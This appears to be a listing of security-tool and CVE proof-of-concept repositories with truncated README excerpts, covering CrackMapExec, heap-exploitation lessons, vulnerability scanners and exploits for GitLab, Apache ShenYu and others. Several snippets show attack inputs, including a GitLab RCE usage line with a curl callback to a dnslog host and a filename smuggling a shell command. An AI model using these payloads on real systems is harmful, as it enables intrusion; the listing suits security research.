CrackMapExecWin

CrackMapExecWin Description The great CrackMapExec tool compiled for Windows Features Latest 2.2 version Compiled for x86 so should work on x86 and x64 platforms Usage 1. Download the whole archive 2. Extract it and run crackmapexec.exe 3. Profit Older versions Browse the release section to find...

linux-4.19.72_CVE-2022-36946

Linux kernel There are several guides for kernel developers and users. These guides can be rendered in a number of formats, like HTML and PDF. Please read Documentation/admin-guide/README.rst first. In order to build the documentation, use make htmldocs or make pdfdocs. The formatted documentatio...

galer

galer /' '/'' | | /'' ' | || | | | '\ ','\ | /' @dwisiswant0 A fast tool to fetch URLs from HTML attributes by crawl-in. Inspired by the @omespino Tweet, which is possible to extract src, href, url and action values by evaluating JavaScript through Chrome DevTools Protocol. Resources...

how2heap

Educational Heap Exploitation This repo is for learning various heap exploitation techniques. We use Ubuntu's Libc releases as the gold-standard. Each technique is verified to work on corresponding Ubuntu releases. You can run apt source libc6 to download the source code of the Libc you are using...

CVE-2024-37032-scanner

CVE-2024-37032 Scanner Scan an entire subnet for vulnerable version of Ollama. If single hose, using X.X.X.X/32...

nzyme

Nzyme Learn more at https://www.nzyme.org/. Version 2.0.0 of Nzyme is currently in development and alpha releases are available. Contributing There are many ways to contribute and all community interaction is absolutely welcome: Open an issue for any kind of bug you think you have found. Open an...

CVE-2020-15392

CVE-2020-15392 User Enumeration on Supravizio BPM 10.1.2 Description A user enumeration vulnerability flaw was found in Supravizio BPM, version 10.1.2. This issue occurs during password recovery, where a difference in messages could allow an attacker to determine if the user is valid or not,...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker Bash script to check for CVE-2022-0847 "Dirty Pipe" https://dirtypipe.cm4all.com/ Usage Check current kernel version ./dpipe.sh Check specific kernel version ./dpipe.sh 5.10.11...

CVE-2025-24587

CVE-2025-24587 1️⃣ Component type WordPress plugin 2️⃣ Component details Component name Email Subscription Popup Vulnerable version = 1.2.23 Component slug email-subscribe Component link https://wordpress.org/plugins/email-subscribe/ 3️⃣ OWASP 2017: TOP 10 Vulnerability class A3: Injection...

CVE-2021-37580

CVE-2021-37580 POC for CVE-2021-37580 0x00 Vulnerability Principle Vulnerability principle: Apache ShenYu Admin bypass JWT authentication CVE-2021-37580 0x01 Single URL Usage: python3 CVE-2021-37580.py -u url -n username.txt For shenyu-admin-2.4.0, vulnerable versions see below: For...

CVE-2025-2907

CVE-2025-2907 Exploit Details Published : 2025-04-04 Updated : 2025-03-28 Severity : Critical CVSS Score: 9.8 CWE : CWE-862: CWE-862 Missing Authorization Affected Versions : All versions from n/a through 12.3.1 Researcher :...

CheckFlashPlayerVersion

CheckFlashPlayerVersion Check the Browser's FlashPlayer version to check if it is vulnerable to exploit CVE-2016-7855 Usage: Clone this repository and then open the html file in the browser where you want to check the Flash Player version...

CVE-2021-22205

CVE-2021-22205 Affected versions: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage python3 CVE-2021-22205.py target "curl \whoami.dnslog" Get csrf-token: Obtain the csrf-token via /users/signin, then use the previous CVE-2021-22205 POC to construct and execute an unauthenticated...

karonte

Karonte Karonte is a static analysis tool to detect multi-binary vulnerabilities in embedded firmware. The master branch provides the latest version of Karonte, ported to python3. For the original implementation and experiments presented in our paper, please checkout the IEEE-SP-20 branch and hav...

CVE-2022-31301

CVE-2022-31301 Haraj Script 3.7 - Post Ads Authenticated Stored XSS Exploit Title: Haraj Script 3.7 - Authenticated Stored XSS Date: 2022-06-13 CVE: CVE-2022-31301 Exploit Author: Abdulaziz Saad @b4zb0z Vendor Homepage: https://angtech.org/ Software Link: https://angtech.org/product/view/3 Versio...

CVE-2025-8875-CVE-2025-8876

CVE-2025-8875 & CVE-2025-8876 How does this detection method work? Version detection template - anything running 2025.3.1.9 or older is considered vulnerable to CVE-2025-8875 & CVE-2025-8876 How do I run this script? 1. Download Nuclei from here 2. Copy the template to your local system 3. Run th...

CMSsc4n

CMSsc4n Tool to identify if a domain has got a CMS and determine his version. At the moment, CMS's supported by CMSsc4n are WordPress,Moodle,Joomla,Drupal and Prestashop. Instalation You can download the latest version of CMSsc4n by cloning the GitHub repository: git clone...

apache__dolphinscheduler_CVE-2022-34662_2-0-9

Dolphin Scheduler Official Website dolphinscheduler.apache.org Total Lines Design Features DolphinScheduler is a distributed and extensible workflow scheduler platform with powerful DAG visual interfaces, dedicated to solving complex job dependencies in the data pipeline and providing various typ...

CVE-2026-18963_analyst

Open Source Identity and Access Management Add authentication to applications and secure services with minimum effort. No need to deal with storing users or authenticating users. Keycloak provides user federation, strong authentication, user management, fine-grained authorization, and more. Help...

POC-CVE-2026-19679

CVE-2026-19679 — insufficient sanitization of uploaded filenames input validation Status: CONFIRMED on a 6.7.2-14.el9 lab 2026-08-20. POST /rest/auditFile with tailoringOriginalFilename = "poc;touch$IFSpoc19679;me.xml" returned HTTP 200 and registered AuditFile 1000002 — the shell-metachar filena...